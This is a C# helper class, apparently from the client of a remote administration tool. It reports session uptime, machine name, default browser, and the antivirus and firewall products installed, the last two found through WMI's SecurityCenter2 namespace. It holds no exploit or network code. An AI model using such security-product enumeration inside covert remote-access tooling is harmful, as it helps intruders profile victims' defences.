using Microsoft.Win32;
using Pulsar.Common.Helpers;
using System;
using System.Collections.Generic;
using System.Linq;
using System.Management;

namespace Pulsar.Client.Helper
{
    public static class SystemHelper
    {
        public static string GetUptime()
        {
            try
            {
                var explorers = System.Diagnostics.Process.GetProcessesByName("explorer");
                if (explorers.Length > 0)
                {
                    // Select the oldest explorer instance (earliest StartTime)
                    var oldest = explorers.OrderBy(p => p.StartTime).First();

                    DateTime sessionStart = oldest.StartTime;
                    TimeSpan uptimeSpan = DateTime.Now - sessionStart;

                    return $"{uptimeSpan.Days}d : {uptimeSpan.Hours}h : {uptimeSpan.Minutes}m : {uptimeSpan.Seconds}s";
                }
                else
                {
                    return "Explorer not running";
                }
            }
            catch
            {
                TimeSpan uptimeSpan = TimeSpan.FromMilliseconds(Environment.TickCount);
                return $"{uptimeSpan.Days}d : {uptimeSpan.Hours}h : {uptimeSpan.Minutes}m : {uptimeSpan.Seconds}s";
            }
        }

        public static string GetPcName()
        {
            return Environment.MachineName;
        }

        public static string GetAntivirus()
        {
            try
            {
                string antivirusName = string.Empty;
                // starting with Windows Vista we must use the root\SecurityCenter2 namespace
                string scope = "root\\SecurityCenter2";
                string query = "SELECT * FROM AntivirusProduct";

                using (ManagementObjectSearcher searcher = new ManagementObjectSearcher(scope, query))
                {
                    foreach (ManagementObject mObject in searcher.Get())
                    {
                        antivirusName += mObject["displayName"].ToString() + "; ";
                    }
                }
                antivirusName = StringHelper.RemoveLastChars(antivirusName);

                return (!string.IsNullOrEmpty(antivirusName)) ? antivirusName : "N/A";
            }
            catch
            {
                return "Unknown";
            }
        }

        public static string GetFirewall()
        {
            try
            {
                string firewallName = string.Empty;
                // starting with Windows Vista we must use the root\SecurityCenter2 namespace
                string scope = "root\\SecurityCenter2";
                string query = "SELECT * FROM FirewallProduct";

                using (ManagementObjectSearcher searcher = new ManagementObjectSearcher(scope, query))
                {
                    foreach (ManagementObject mObject in searcher.Get())
                    {
                        firewallName += mObject["displayName"].ToString() + "; ";
                    }
                }
                firewallName = StringHelper.RemoveLastChars(firewallName);

                return (!string.IsNullOrEmpty(firewallName)) ? firewallName : "N/A";
            }
            catch
            {
                return "Unknown";
            }
        }

        public static string GetDefaultBrowser()
        {
            try
            {
                const string registryKey = @"Software\Microsoft\Windows\Shell\Associations\UrlAssociations\http\UserChoice";
                using (var key = Microsoft.Win32.Registry.CurrentUser.OpenSubKey(registryKey))
                {
                    string progId = key?.GetValue("ProgId")?.ToString() ?? "";

                    if (!string.IsNullOrEmpty(progId))
                    {
                        var map = new Dictionary<string, string>(StringComparer.OrdinalIgnoreCase)
                    {
                        { "ChromeHTML", "Google Chrome" },
                        { "MSEdgeHTM", "Microsoft Edge" },
                        { "IE.HTTP", "Internet Explorer" },
                        { "FirefoxURL", "Mozilla Firefox" },
                        { "BraveHTML", "Brave" },
                        { "OperaStable", "Opera" },
                        { "VivaldiHTM", "Vivaldi" }
                    };

                        foreach (var kvp in map)
                        {
                            if (progId.StartsWith(kvp.Key, StringComparison.OrdinalIgnoreCase))
                                return kvp.Value;
                        }

                        // fallback: trim weird suffixes
                        return progId.Split('-')[0].Replace("URL", "").Replace("HTML", "").Trim();
                    }
                }
            }
            catch
            {
                // ignore and fallback
            }

            return "-";
        }
    }
}
